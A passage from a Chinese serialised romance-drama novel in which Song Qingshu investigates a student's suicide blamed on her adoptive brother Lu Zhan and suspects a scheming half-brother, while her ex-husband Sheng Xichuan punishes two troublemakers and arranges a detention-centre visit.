曝光她的日记,孤立她,对她进行荡妇羞辱,告诉所有青春期的男同学们,她是个随便的女孩。以至于那段时间放学后经常有男生堵她,跟她说一些让她很难堪的话。
这样做已经非常恶劣了!
当然,这是羞辱女孩子的方式,如果是男孩子,可能更多的是打骂,强迫他们去做一些很屈辱的事。
宋清殊学生时代,就见过被堵在角落里打的低年级男生,还见过有人往那个男孩子身上泼墨水,用马克笔在他全身画满乌龟。
这件事发生在她被霸凌的前一年,
那时她还帮那个男生出了头。
宋清殊记得,她出门找了10个混混,给了每人200块钱,让那些混混装作被霸凌男孩的家里人,吓唬了那帮孩子一顿。
之后,她又观察了几天,那帮孩子竟然真的没敢再找他麻烦,这件事就顺利解决了。
如今这件事竟然发生在陆展身上,沈韫浓怎么也不敢相信。
不是她作为家里人看陆展有滤镜,而是人的行为有前后一致性,陆展是个每年会把压岁钱捐到山区的孩子。
宋清殊宁愿相信小霸王宋耀宗会欺负同学,也不觉得陆展能做出这种事。
陆夫人听上去有气无力,嗓子都是哑的。她大概说了事情经过。
说是有个男孩在学校跟陆展起了冲突,这几天两人一直在打架,今天上午那个男孩子从天台跳了下去,还留了一封遗书,声称自己是被陆展逼死的。
陆夫人被叫到学校去的时候,那个男孩还在医院抢救,晚上就传来了死讯。
“现在展展已经被拘禁起来,国家对校园霸凌这块原本查的就严,他虽然没有超过16岁,但有这样的黑历史,这辈子基本上就完了。”陆夫人说。
她的声音嘶哑里带着哭腔。
在宋清殊的记忆里,连陆先生去世,陆夫人都没有失控成这个样子。
陆展是陆夫人往后余生最大的希望,如果这件事处理不好。不只是陆展,陆夫人这辈子也就完了。
本以为今天是生命中普通的一天,没想到有这样波澜起伏。
宋清殊先自行稳住情绪。
“干妈,你别急,我现在过去找你。”
她一边迅速换衣服,一边拿了车钥匙往外走。
夜里11点多,宋清殊的车开进陆家老宅。
老宅的灯亮着,明明那么多佣人,大家也都没睡,但氛围一片死寂。
陆夫人坐在前厅的沙发上,一脸的茫然失措。
宋清殊进去,在旁边坐下,之后伸手抱紧她。
“我的孩子我了解,他干不出这种事来。”陆夫人把头靠在宋清殊肩窝,喃喃自语。
巨大的恐惧笼罩着她。
如果陆夫人是个毫无良知,泯灭人性的人,她根本不会这样忧愁。
陆家有钱,又不从政,陆展又是未成年人,出这样的丑闻,如果陆夫人愿意拿钱摆平,只要跟对方家属去谈就好。
一百万不行就一千万,一千万不行就一个亿。
闹得人尽皆知,无非是把陆展送出国消停几年,之后再改头换面回来。
股票跌了就跌了,也不是什么毁灭性的打击。
可不是这样的。
陆夫人接受不了自己的儿子会办出这种事,在她眼里,如果陆展真的这么做了,那他的人生就已经完了。
“我也相信不是展展做的。”宋清殊说。
“先好好睡一觉,有我呢,明天我去跟校方沟通。”
当晚,宋清殊和陆夫人又睡在了一张床上。
第278章 陆展出事(二)
宋清殊很小的时候最喜欢陆先生出差,陆先生一出差,她就可以抱着自己的小枕头去陆夫人房间睡。
陆夫人疼她,总会在夜里醒个几次替她掖被子。她记得自己十几岁的时候,陆夫人有天还在夜里惊醒,抱紧了她。
“妈妈梦见把你弄丢了。”
那时候她还不是干妈,宋清殊可以直接叫妈妈的。
她最恨的就是宋家这一点,明明把她送出去,却偏偏要她知道,她是宋家的女儿。
她在陆家过得好,要感恩宋夫人替她谋了一个好前途;过得不好,是陆夫人为人刻薄,不把养女视如己出。
15岁出了那件事,也是陆夫人没教育好她,还被宋家狠狠敲诈了一笔。
看着面容悲戚,失魂落魄的陆夫人,宋清殊又想起了她自己的糟心事,酸涩感在心头蔓延开,沈韫浓喉头发苦。
关了灯,她和过去一样把双臂和双腿压在陆夫人身上。
“干妈,弟弟的事有我呢,您放心。”她在黑暗中轻声说。
陆展不只是陆夫人的命,也是她的弟弟,她在这个世界上仅有的几个亲人之一。
她明天就去学校问清楚,如果真的是他做的,她一定会让他受到该有的惩罚,她愿意陪着他成长,带他改邪归正。
如果不是他做的,她也一定不会任凭陆展被诬陷,蒙受不白之冤。
第二天一早,宋清殊直接去了学校。
陆夫人原本要一同去,被她好说歹说强行留在了家里休息。
陆展所在的学校是上京最好的中学,陆氏也是校董会的一员,当年捐过款的。
一开始,校领导们对宋清殊还算客气,把她请进了办公室喝茶。
一个校长,一个年假主任,一个陆展的班主任,三个人都在。
但那位校长先发制人,一开口就是不中听的话:“这件事本来可以不用闹这么大,但现在教育局已经重视了,一切要看上面怎么罚,您找我们也没用,我们也帮不了什么。”
宋清殊不听他的说辞,也不被他往沟里带。
“这件事已经认定是陆展做的了吗?既然公安部门都在调查,您不能这么说。”
她自问态度客气,语气平和,可那三人却像在看她无理取闹一样。
他们面面相觑,一副“还用问吗”的表情。
不用问,校方的立场和屁股已经偏了。
沈韫浓强压火气,依然客客气气道:“我需要有一个人,能不带情绪的跟我还原一下所有已知的客观事实,您三位谁能做到?”
做教育的人,对生意场上的事不懂,都只知道陆家有钱有势,却不知道宋清殊的身份。
在他们看来,宋清殊一个干女儿身份跟什么助理、秘书大差不差。
她长得又柔弱,这些人都没在心里瞧得上她。
那位校长又开口:“您过来问也没用,陆家的确给学校捐过款,但别人的孩子也是心头肉。我们都为人师表,是做教育的,总不能拜高踩低,任凭这么恶劣的事发生在我们学校。”
一顶势强凌弱的大帽子扣下来,让宋清殊皱起眉头。
她从包里拿了根录音笔出来,直接往茶桌上一拍。
“既然三位校领导都在,我就问问,我弟弟在学校出了事,不管他是哪一方,是欺负人的还是被欺负的,我就问你,我有没有知情权?
另外,别说这件事的调查结果还没出来,就算真的出来了,是陆展做的,那发生在学校,你们三人有没有责任?难道不是你们所谓的为人师表没教育好?”
宋清殊向来与人为善,鲜有板起脸来教育人的时候。
但她生气时,神色足够冷,镇得住场子。
此时,宋清殊神色冷淡,语气不紧不慢,睨着三人。
“请各位想好了再回答我,如果觉得这件事跟我谈不了,那好,我让法务部过来谈。”
也是这个时候,那三人突然察觉她不是一个普通角色。
年级主任赶忙又给宋清殊倒了杯茶,赔笑脸道:“是我的误会了,以为你要过来跟我们讲道理。看来您家人昨天没把情况跟你说清楚,我跟您详细讲讲就是了。”
原来,去世的是陆展班上一个单亲家庭的孩子叫曹小康。
这所学校比较极端,学生要么就是陆展这种家境富裕,能随便给学校投个几百万的,要么就是学校全国各地搜罗的清北苗子,读书吃住都免费的。曹小康就是后者。
曹小康父母离异,跟着母亲,他母亲在市场口开一家裁缝店,生活很拮据。
平时这孩子只知道学习,一直沉默寡言,这段时间也不怎么惹怒了陆展。
那位年级主任和陆展的班主任说,他们调了校园监控,这几天,的确有陆展和曹小康打架的画面。而且每次都是陆展先动手。
“他们打架的画面,也有别的同学拍到,匿名发到过学校邮箱。”
校方调了那几段监控和第三方视角的视频给宋清殊看。
陆展不知听曹小康说了什么,发了疯一样揪住他的领子,对着他的脸就是一拳。
之后,又给了他肚子一脚。
曹小康比陆展瘦小,打起架来不占优势,很快便被陆展压倒在了地上。
两人不只是在打,看上去还在争吵,但蹊跷的是,不管是监控画面,还是视频里,都没有争吵的内容。
那段视频明显是掐头去尾的,拍的时候,陆展已经把曹小康压在了身下。
明显他动手比较多,曹小康动手少一些。
后面也是,这样打斗的场景,视频一共拍到了四段。
也就是说,他们至少交手过四次了。
宋清殊也理解了这帮校领导的作风,她觉得,他们很可能是觉得曹小康实在可怜,是个弱势群体。
而陆展人高马大,家庭条件又好,一看就不会吃亏。
“据我所知,陆展平时在学校成绩虽然不拔尖,但也一直在年级排的上号。而且,他几次打架都是单枪匹马,并没有召集其他人,也没有除了互殴之外的侮辱性言行。
虽然是他先动的手,但到底不是多对一。这应该不算霸凌吧?”
宋清殊觉得自己分析的还算客观,并没有偏袒。
可校长叹了口气:“话虽如此,但曹小康已经跳楼了,陆展还好好的。”
第279章 陆展出事(三)
校长说,曹小康还留了遗书。
那封遗书如今已经被警方带去,校方拍了照留档。
上面只有简短的几句话,曹小康称自己跳楼是因为遭受了霸凌,觉得每一天到学校都是煎熬。
没有指名道姓,但结合他跟陆展打的这几次架,谁看了都会把目标锁定到陆展头上。
这件事并没有因为她今天的调查就变得更明了,反而更加迷雾重重。
这一切太不对劲了。
从陆展频频跟那个叫曹小康的孩子起冲突开始,就是不对劲的。这个故事一定漏了什么,宋清殊觉得,她至少应该先去看看陆展,听听他怎么说。
她再也要不到其他有效信息,只好跟校领导告别。
年级主任送她出办公楼。
临出门前,宋清殊貌似不经意问:“有个转学过来的孩子,叫陆枭。您认识吗?他学习怎么样?”
年级主任愣了一下。
“我也不熟悉,您是找他有什么事吗?”
宋清殊摇头:“一个远房亲戚家的孩子,我听说也转到这个学校了,随口一问。”
昨天听说陆展在学校打架,宋清殊的第一份反应就是嘱咐陆夫人查陆枭,后来陆夫人见这件事跟陆枭没关系,又因为曹小康的去世慌了神,才没顾上。
宋清殊觉得,虽然这件事表面上跟他毫不相干,但该查还是要查。
她在心里迅速规划,至少要从三个人入手:陆展,曹小康的母亲,和陆枭。
很多事要看最后的得利者,这样一切就解释得通了。
陆展出事,最大的受益者是陈南枝和陆枭。
到时候,陆二叔和监狱里的陆三叔,一定会发难,说陆展废了,既然都是陆先生的孩子,那么陆枭一样有继承权。
宋清殊又嘱咐了年级主任一番,要他保密,之后,就让他留步,自己穿过校园,往学校门外走去。
还没到门口,她立住脚步,倏地转身。
后面的人躲闪不及,被迫和她面对面。
是小半年没见的陆枭,这孩子长高了一些,看上去脸上的戾气更重了,整个人气质愈加阴鹜。
宋清殊看他,似笑非笑:“跟着我做什么?不会是想知道我查出了什么吧?”
陆枭冷笑了一下。
他看着宋清殊,神情不屑:“你查出什么跟我有什么关系?我又不是警察,也不是曹小康家人。”
这话已经摆明了是挑衅,宋清殊原本就觉得这件事陆枭脱不了干系,此时更加确定了自己的猜测。
她静静的看着他的眼睛。
“知道的够清楚的,陆枭。你是不是早就盼着这一天了?”
陆枭:“你们这群人,天天觉得自己是人上人,遭这样的报应也是活该。”
“报应。”宋清殊咀嚼这两个字,先笑了。
“你笑什么?”陆枭冷冷地问。
宋清殊:“我笑你这个人有意思。
陆展做了什么,让你觉得他该遭报应?是因为他不肯跟你共享一个父亲,不肯让你也进入陆家,享受他的父母创造的财富和劳动成果吗?”
一句话,把陆枭噎住了。
陆枭的脸色青一阵白一阵,难看极了,早没了之前的幸灾乐祸。
换做过去,他一定会心高气傲地说,他不稀罕陆家,也并不准备享受陆家的家业和财富,更不需要陆家人认他。
可现在,他的母亲打了太多次脸,他实在说不出这样的话。
他只能强硬地说:“我也是陆家人,陆家的成果本来就该有我一份!你一个姓宋的都能惦记,我姓陆,为什么不行?”
宋清殊神情冷淡,只觉得他好笑。
她说:“我是陆家正式收养的干女儿,有全上京人的见证,就算到时候家业有我的一份,也说得过去。
但你没有,我干爸从来没有承认过你是他的骨肉,你的出生,不过是因为你母亲的贪婪,她从来没有为陆家的家业付出过什么,更没有资格来觊觎。”
这话说的又重又狠。
在过去宋清殊还会有所顾忌,觉得陆枭也只是个孩子,上一辈的恩怨与他无关,她可以骂陈南枝,但不该对他说太重的话。
可今天他对陆展落井下石的态度,宋清殊实在气不过。
她的一番话说出来,陆枭又羞又恼,明显是想冲上来打她。
可宋清殊不怕,不仅如此,还继续道:“所以,如果世界上真有报应一说,信不信第一个倒霉的是你妈?或者,你根本没机会长这么大。”
陆枭果然冲了上来,她抬手就要给宋清殊一个耳光。
宋清殊把脸凑上去。
“来,你打。上一个想害我的熊孩子在看守所关了五天,昨天晚上才放出来。”
陆枭的手在距离宋清殊几公分处停住,他气得整个人都在发抖,很有几分忍辱负重的样子。
“不打,我可走了哦。”宋清殊戏谑地牵了一下嘴角,掠过陆枭直接走了。
她刚才就是想激怒他,看看他敢不敢对自己动手。
也正是在那一刻,她想到了一种可能:曹小康一定说了让陆展非常不能接受的话。
她迫不及待想见陆展,但现在还没到律师会见时间,家属更不可能见到。
于是,思来想去,宋清殊打了盛熙川的电话。
此时,盛熙川正在他的地盘上教训廖绮和陈越。
他昨天晚上忙着照顾生病的宋清殊,让所里放了人后,也没顾上交代两句。
今天就听自己安排的保镖说,看见廖绮在宋清殊家小区附近转。
盛熙川心里不爽,索性直接让人把廖绮和陈越带到了自己的会所里。
第280章 陆展出事(四)
盛熙川带人,直接明目张胆带,根本不藏着掖着。
不仅如此,他还让人去通知了廖绮和陈越的家人。
廖绮的父亲常年在国外,平时只有母亲负责她的教育,他的人来了廖母。
陈家自然是陈父陈母都在。
此时,会所房间里,只有盛熙川一个人坐着。
廖绮和陈越两个半大孩子,廖母和陈父陈母三个大人,齐齐地站成一排,在他面前低下头。
偌大的包间里,针落可闻,一字排开的五个人,眼观鼻鼻观心,大气都不敢喘。
盛熙川反复看那几段陈越开车别宋清殊的视频,以及撞车后,廖绮和陈越嚣张跋扈的模样。
看了不下二十遍。
他手机音量调到最高,面前的五个人都听得清清楚楚。
“我昨天忙着,没空找你们聊,该不会觉得这件事就过去了吧?”盛熙川点了根烟,淡淡地说。
五个人都神色紧张,没有敢说话的。
期间,廖母上前一步想开口,被陈太太一个肘击,又退了回去。
“说吧,是不是看我不顺眼,把主意打到了我女儿头上来?”
现在他和宋清殊名不正言不顺,要发火只能借着珍珠的名义。
谁敢承认看他不顺眼?陈先生和陈太太都是土生土长的上京人,知道这片土地姓盛,而廖母再怎么与外界脱轨,也听说过盛家,更何况在这炼狱般的五天里,她早就见识了盛熙川的厉害。
“不是……”陈太太先开口,小声说。
“不是什么?我女儿就在我前妻的车上,被你们吓得几天都睡不好觉,你们难道不是想谋杀我女儿?”
廖绮和陈越当时都在现场,自然知道他在乱说。
他女儿从车里出来时的模样淡定极了,可不像受了惊吓的。
但这话放在五天前廖绮敢说,可现在,在看守所里受了五天精神折磨后,她根本不敢开口。
五个人齐刷刷摇头,脸都白了。
盛熙川吸了口烟,在一片薄雾中点名:“陈兴怀。”
陈先生像被军训一样,迈着正步往前半步,喊了声“到”。
很滑稽的场景,但谁都笑不出来。
“我记得你说过,等陈越出来,要打要骂都随我。”
陈先生平日里巧舌如簧,此时,似乎已经被盛熙川吓得的失去语言能力。
他摇了一下头,又迅速回过神来,点了点头。
“那开始吧。”盛熙川弹了弹烟灰,眸子微眯道。
陈先生没听懂他的话,惊讶地张开嘴巴,露出不太聪明的表情。
“还等什么呢,我没有替别人教育孩子的嗜好。是你来还是让他们动手?”
“他们”是门外那些凶神恶煞的保镖。
这话,五个人全听懂了。
陈太太一张脸白得像纸一样,她向前一步,壮着胆子对盛熙川道:“别这样小爷,越越只是个孩子,要打就打我吧……”
“也行。”盛熙川点头,又看向陈先生,“你说呢?”
陈先生嘴唇哆嗦了好几下,才终于说出话来。
“打我,我没教育好孩子!”
盛熙川笑了一下,那笑意不达眼底:“这话说的还像个男人。”
他拍了拍手,外面走进来两个保镖。
接着,盛熙川的声音迅速变沉:“给我扇他。”
在另外几人惊愕的目光中,一个保镖按住了陈先生,另一个挥起手臂朝他脸上招呼。
“啪”的一声闷响,陈先生的头直接往一边偏去。
那个保镖又把他拽过来,另外一边又扇了一巴掌。
盛熙川不喊停,巴掌声不止。
陈先生只敢躲不敢反抗,脸迅速肿了起来。
他伸手捂住。
盛熙川冷冷一声:“挡什么?”
闻言,陈先生僵着身体不敢动,好一会儿才反应过来,把挡着的手放下去。
这几个耳光下去,他鼻子和嘴角都出了血。
陈太太在一旁哭,陈越也绷不住了,过去直接给了廖绮一个耳光。
“都怪你,你个扫把星,好好地让我欺负宋清殊做什么!”他的声音在颤抖。
廖绮本就受了惊吓,一被打,也有些应激。
她伸手挠陈越的脸:“不是你给我显摆你的新跑车吗?陈越,你个敢做不敢当的怂货。”
廖母一看这架势,赶忙冲过去劝架。
表面上是劝架,实则只拉陈越,廖绮的指甲抓到了陈越的脸上。
陈先生还在挨着打,陈太太,陈越和廖绮都在哭,场面一度混乱。
“吵死了。”盛熙川不耐烦,蹙眉说道。
话音刚落,空气又迅速安静下来。
此时,盛熙川的手机响了。
他抬手,做了个暂停的手势。
一时间包间内鸦雀无声,盛熙川也收起了满身的戾气。
他“喂”了一声,连眼神都温柔了起来。
宋清殊不知道他这边在做什么,说话方不方便。
“你现在忙吗?”她问。
“不忙。”盛熙川说。
比起刚才,声音温柔的不是一星半点,“怎么了,是不是遇到什么麻烦了?”
他说着,站起身来,直接去了另一个房间。
房间内,只留两个保镖盯着五人。
刚才是谁打的电话?宋清殊吗?
早就知道盛熙川这个前妻在他心里的分量不一般,想想廖绮和陈越的所作所为,陈先生和陈太太腿软得都快要栽倒。
另一个房间里,电话那边,宋清殊便把事情说了。
“我想见一下展展,问一下事情的真相,可以吗?”
问完她又觉得不妥似的,补充:“你放心,如果这件事真的是展展做的,我绝不会姑息。”
盛熙川没想到发生了这样大的事,也跟着吃了一惊。
他和宋清殊一样,宁愿相信宋耀宗能做出这种事,也不相信陆展会这样做。
马上安慰:“别担心,一切有我。白天不方便,你先休息,放松一下,我晚上带你去。”
宋清殊那边情绪不高,低低地“嗯”了一声。
盛熙川的心顿时又软又疼,只恨自己现在不在她身边。
两人又聊了几句,盛熙川才回了刚才的房间。
房间里充斥着血腥气,地毯上也有脏污。
那五个人缩着脖子站在那里,面面相觑,一声都不敢吭。
“都滚吧。”他松口。
五人如蒙大赦,激动地就差给他跪下了。
他们抖着腿往门口跑。
“廖绮。”盛熙川又开口。
廖绮和廖母站定。
盛熙川说:“这是我最后一次警告你,再敢打扰宋清殊,廖家就别混了。”
他语气很淡,但威慑力十足。
“我们不敢了!”廖母抢先说,带着发抖的廖绮火速离开。
下午5点,盛熙川打宋清殊电话。
第281章 阴谋
盛熙川打电话的时候,宋清殊正在办公室发呆。
她没有回去休息,有事也不是休息就能解决的。
她几乎一天没吃饭,水也没喝几口,一个人关起门来分析陆展的事。
她13岁的时候陆展才出生,15岁出国时,陆展只有两岁,根本看不出什么。
但刚回国那年,她跟陆展相处了半年时间。大概知道他是个什么样的孩子。
陆夫人说,他一直在资助贫困生上学,也每年都会把自己的压岁钱捐助给有需要的人和小动物。
人的行为有前后一致性。
宋清殊不相信一个平时乐于助人的孩子会突然变成一个校园霸凌的施暴者。
她嘴上说如果是陆展做的绝不姑息,心里却坚定知道,一定不是他。
那么,她该做的,是努力去还陆展一个清白。
如果暂时找不到有利证据,她就该出pnB,利用把陆展这些年做过的好事和帮助过的人扭转一下他的形象,而不是任凭舆论发酵,把他毁了。
盛熙川问她:“还没吃晚饭吧?下来,我们一起去吃点东西。”
宋清殊这才知道他已经等在了陆氏楼下。
她拿了包出去,在楼下就看到了盛熙川那辆银灰色的科尼赛克。
他在车外等她,细心地替她拉开车门。
正值晚高峰时间,不少人都看到了。
盛熙川怕宋清殊觉得不舒服,特地观察了一下她的反应。
还好,没什么不妥,或者说她顾不上。
宋清殊上了车才问:“吃什么?”
她嗓子有点哑,听上去很累。
盛熙川:“吃点清淡的,你昨天还发烧呢。”
他为她考虑,宋清殊自然没话说。
她在车上合上眼,眉头微微蹙着,看得人心疼。
盛熙川用余光看她,想起她上午电话里的承诺——
如果真是陆展的做的,她绝不姑息。
如果她要姑息,盛熙川扪心自问,这个忙他也会帮。
他对宋清殊早已没有原则可言。
两人吃广府菜,砂锅粥和一些点心。
宋清殊一天没吃饭也不觉得饿,她忧心忡忡,不管是粥还是点心,吃进嘴里根本尝不出味道。
但她还是机械式地吞咽了一些,之后,大段时间在走神。
盛熙川在心里叹了口气,
“一切有我,你别怕。”他突然说,伸手隔着桌子去握她的手。
宋清殊没有甩开他。
干燥温暖的触感传来,她的心里踏实了一些。
“展展不是这样的孩子,我相信他。”盛熙川先说。
宋清殊点头,这才静下来,把自己查到的一些事说给他听。
她说陆展这件事做得太反常。
宋清殊说:“干妈说,他从来没有跟别人这样起过争执,跟同学互殴更是从未发生过的事。我觉得对方一定说了他不能接受的话,他才对他动手。”
盛熙川点头,握着她的手收紧:“我们不急,先去听听展展怎么说。”两人起身往外走,盛熙川的手也没有放开。
他们就这样自然地牵着手下楼,仿佛本就该这样。
从餐厅到停车场的路程总共5分钟,盛熙川告诉自己,只要宋清殊表现出任何一点不自在,他就放手,绝不在这个时候给她任何心理负担。
可宋清殊不知是不是根本顾不上,
夜晚的看守所,昏暗又安静。
一个人在门口等他们,见到盛熙川,先认真地敬了一个军礼。
“我不能给您太多时间,15分钟您看行吗?”这话是对宋清殊说的。
宋清殊点点头:“够了,多谢。”
她被带进一个探视室内,接着门在眼前关上,角落的监控闪了一下,迅速熄灭。
陆展出来,看她的神情很沮丧。
他喊了一声“姐姐”,之后垂着头站在她面前,什么话也不肯说了。
到现在为止,陆展已经被关了30几个小时,他看上去再成熟,也不过是个只有14岁的孩子。
这30个小时里,慌乱和恐惧围绕着他,现在他已经到了有点麻木的阶段。
他比宋清殊高,垂着头看她,像一只被抛弃的大狗,看得人心软。
“别怕。”宋清殊拥抱他,“跟姐姐说一下你为什么跟曹小康打架,好吗?”
陆展沉默了好一会儿,才开口道:“曹小康说我爸爸在外面养女人,生了孩子也不肯承认。还说我妈妈心胸狭窄,为了家产,不肯让我爸爸的亲儿子进家门。”
宋清殊被这个理由惊到了。
“你是说,每次打架的理由都是因为这个?”
得到肯定的答案后,她心里更是百感交集。
这样精准的打击,是从谁那传出来的自不必说,整个学校除了陆枭根本没有人知道陆家的私事。
让宋清殊意外的是,曹小康自己都是个单身家庭的孩子,居然会用这样的事来羞辱陆展。
这就是自己明明淋过雨,还要把别人的伞撕碎吗?
她听校方对曹小康的评价,说他性格内向老实,学习优异。也正因为如此,那些老师们选择在他去世后站在他这边。
一时间,宋清殊的心情复杂到了极点。
“一定陆枭挑唆他。”陆展说,“这一切,说不定就是陈南枝那个女人的圈套!”
他说的话也是宋清殊的猜测。
但这件事,说不定也在陆二叔和陈南枝等人的算计之内——
毕竟,陆展这个年纪,是即便杀了人也不会枪毙的。所以,他们做的不是要他死,而是要他被舆论谴责。
这件事一旦曝光出去,不管别人怎么评价,但涉及到陆展和曹小康的打架原因,“陆先生的私生子”是不可避免的一环。
他们做这件事的痕迹那样重,说不定就是想留下证据。
只要为陆展辩护时举证曹小康辱骂他的内容,那陆枭就会被暴露在众人面前,让陆夫人下不来台。
“你先别着急,安心在里面等着,这件事交给姐姐和妈妈处理。”宋清殊安抚他,握住他的手。
陆展乖巧点头,又问:“姐姐,你会不会对我很失望?”
昏暗的灯光下,依然能看出他眼睛发红。
宋清殊心疼得厉害,摇了摇头,抬手摸他的眼睛。
在摸到一手潮气后,也跟着想哭。
但她忍住了。
“姐姐相信你,不会无缘无故地欺负同学。但既然事情已经发生了,我们就一起面对,把这件事跨过去。”
陆展声音还是很低落:“我没想到他会跳楼,因为每次打架都不是我单方面动手,曹小康也打我。”
第282章 中计
陆展一边说着,一边撩起了衣服。
他的腹部和腰侧,还带着淤青的痕迹,有几处已经开始变黑发黄。
宋清殊看得直皱眉:“这些都是曹小康弄的?”
陆展:“对,所以根本不是我单方面欺负他。”
陆展说,他跟曹小康玩不到一起去,几乎没有说过话。
可最近一段时间也不知怎么了,曹小康跟中邪一样故意找茬。如果硬说有什么得罪他的地方,他体育课跑操时不小心踩过他一脚。
自从那一脚后,曹小康就总对他出言挑衅,还都是没人的时候。
他说别的陆展不在乎。
可父亲的私生子在葬礼上出现这件事,是他人生的阴影,他非常介意。
每次都一言不合跟曹小康打起来。
陆展说曹小康心机重,在人前都是一副窝窝囊囊的样子,只有背着人,才对他恶语相向。
陆展人高马大,家境又好,跟曹小康打架的时候,就会有种在欺负他的感觉。
宋清殊基本上已经听明白怎么回事了。
“你的伤给警方看了吗?”她轻声问。
陆展点点头:“看了,这件事我也解释了。我只是不能理解,明明不是我欺负他,他为什么会跳楼……”
他的声音低下去,只剩沮丧。
“但这些话,没有人相信我……”
宋清殊打断他:“不,展展,姐姐相信你,妈妈也相信你。你是什么样的孩子,我们比谁都清楚。”
“可外面的人不清楚,大家都觉得我恃强凌弱,逼死了同学!”
陆展呜咽了起来。
除了陆先生的葬礼,宋清殊第一次见他哭。
她心疼的不得了,也跟着红了眼圈。
“不要管外面的人怎么说,对的就是对的,错的就是错的。这件事并不能因为错的一方去世了,就颠倒黑白。”宋清殊说。
“他那样骂你,你有用他的家庭来回击吗?”
陆展摇了摇头。“他妈妈是聋哑人,靠开裁缝店养他,我可以打他,但我不能拿这件事讽刺他。”
宋清殊的眼泪流的猝不及防。
她果然没有看错人,她的弟弟陆展不仅没有走歪路,还是个能体恤别人,有同理心的好孩子。
“只是我太沉不住气,才中了别人的圈套。”
陆展不住哽咽。
姐弟两人抱在一起,宋清殊心中满是酸楚。
又过了一小会儿,外面有人轻轻地叩了两声门。
“宋小姐,时间到了。”外面那人说。
宋清殊只得和陆展告别。
“你好好吃饭,好好睡觉,什么都不用担心。”她捧了陆展的脸说。
陆展点头,收了眼泪要她放心。
宋清殊走出去,盛熙川在门口抽着烟等她。
一见她,就准备把手里的烟灭掉。
宋清殊对他伸手:“送我一根。”
盛熙川点头,拿了一根替她放在唇间,点燃。
宋清殊学盛熙川的样子吸了两口,清凉的薄荷香气进入肺里,她就着烟圈,往外吐了两口浊气。
她从陆展那里问到那些,盛熙川也从笔录里看到了。
一支烟抽了大半,宋清殊才开口:“曹小康的死,一定有隐情。我觉得是有人栽赃到展展身上。”
盛熙川点头赞同她的话,还没开口。
这时一个声音响起:“盛小爷,宋小姐,你们该不会是来看陆展的吧?”
这个时候为了避免串供的嫌疑,家属是不能会见的。
但盛熙川身份特殊,才给她行了这个方便。
被人撞见,难免要做文章。
宋清殊紧张得背都绷直了。
第283章 给我个名分
来人是季卿的父亲季春望。
这个时间点在看守所门前遇见,多半不是巧合。
季春望显然是有备而来,他一见宋清殊就问:“宋小姐这个时候过来,是来看令弟吗?”
见宋清殊不理他,又自言自语道,“也是,陆公子哪里受过这样的苦。”
宋清殊皱眉,还没开口,盛熙川的眸子先瞬间冷了下来。
“季先生是在跟踪我们?”
他语气很冲,季春望顿了一下。
“不敢不敢,盛小爷这是哪里话,我不过是正好过来办点事儿。咱们能碰见就是有缘分。”
季春望还在笑,笑意不达眼底。
见宋清殊在一旁冷着脸不说话,又道,“你说是吧?宋小姐?”
过去季春望还叫她“清殊”,季卿被送走后,反而阴阳怪气,一口一个“宋小姐”了。
宋清殊神色不动:“劳您惦记,我弟弟没有霸凌同学,都是误会,说清楚了就好。”
季春望皮笑肉不笑:“那是自然。”
又说,“像咱们这种大家族养出来的孩子,无非是比那些小门小户心高气傲一点,做事有的时候就显得强势,倒是也不至于扯上霸凌。
其实现在想,我们卿卿当年也只是更活泼一些罢了。”
他刻意要把季卿拿出来说,宋清殊自然知道什么意思。
无非是想暗示她:你有季卿霸凌的证据,我也可以找陆展霸凌的证据,大不了我们拿出来硬碰硬。
但宋清殊不被他的逻辑绕进去。
“季卿当年霸凌同学可都是多对一,我弟弟和曹同学充其量只是打架斗殴。季卿现在都跟什么都没发生一样,过得这样好,想必我弟弟也不会受什么影响。”
季春望张嘴想要反驳,宋清殊又有点不耐烦地说:“季先生不是来办事吗?您快进去吧。”
她不想跟这样的人打嘴炮,毫无意义。
季春望愣了一下,只好进去了。
看得出来,他很憋屈。
他憋屈,宋清殊更不爽。
她在探视室里刚跟陆展一同哭过,心情本就不好,见了季春望简直是雪上加霜。
上车后,宋清殊再度陷入沉默里。
因为季春望的出现,这件事更加复杂了。
眼下已经不是两个孩子在打架,更不是陆展“霸凌”同学,而是四股势力的交战——
如果被当枪使的曹小康母子也算的话。
这件事一步走错必然影响重大。
宋清殊的心口蒙上一层灰,看着外面漆黑的天色,更是压抑的厉害。
她回上京之前就知道这是一段不好走的路,当时也做好了和陆夫人一起承担风雨的准备。
可人不是没有感情的动物,面对一件事很难只用脑子,不动感情。
她不怕困难,只怕陆展吃苦,陆夫人心碎。
宋清殊沉默,盛熙川自然也一言不发。
他一边开车,一边用余光看她发红的眼睛,更是心疼得厉害。
车子一路开到宋清殊小区,在单元楼门口停下。
“这件事季家应该也要插手。”宋清殊这才开口说。
她今晚的探视是不合规的,虽然盛家有军衔,怎么也好说一些。
但校园霸凌这事儿原本就会让人联想到特权阶级对普通人的压迫,如果她去探视陆展的事被季家拿去做文章,到时候即便她再曝光季卿当年的校园霸凌,也只会被说是恼羞成怒,“狗咬狗”,没有人会觉得是代表正义。
盛熙川也想到了这一点,点点头:“不是什么大事,应该也不是季家主谋。无非是季家听到了消息,想趁火打劫,话里话外的意思,左不过是让季卿回来。”
宋清殊同意他的话。
“你怎么想?你要不想季卿回来,我有的是办法牵制他们。”盛熙川又问她。
宋清殊略微想了想:“看看季家下一步怎么做吧,如果找我交换“人质”,不如就让她回来。”
回来也不怕什么,她要害人,去了西伯利亚挖土豆也一样能害人,更何况,季家人还都在上京。唯一的好处是眼不见心不烦罢了。
“那就到时候再看。”盛熙川说。
又问她下一步安排。
“没什么事的话,明天我可以跟你一起去见见曹小康的母亲。”
他说的也是宋清殊想做的。
可宋清殊有自己的顾虑。
“你不忙吗?一直为了我的事奔走,集团的人怕是会有意见。”她问。
本想说她的前公公盛司令可能会有意见,又不好太直白。
盛熙川不知有没有听懂,但看了她一眼,反问:“谁会有意见?什么时候我的行程都要受他们控制了?”
宋清殊微微垂眼:“也不是那个意思,毕竟,我们只是……”
她斟酌了一下措辞,“只是朋友。”
盛熙川这下彻底懂了。
他露出一点笑意,逗她:“只是朋友已经够两肋插刀了。不过,如果你过意不去,可以考虑给我个名分。”
这件事,宋清殊考虑了不止一次。
可无数次话到嘴边总觉得差点缘分,她又沉默了下去。
也许是她一瞬间的微表情太慌张,不等她开口,盛熙川马上说:“逗你呢,不要有负担。你能拿我当朋友,我已经觉得很幸福了,又怎么可能在这种时候趁人之危呢。”
宋清殊悬起的心稳稳落下,又莫名空了一块。说不清道不明的感觉折磨着她。
“只要你别觉得我又当又立,既享受你的好,又不肯跟你在一起就好。”
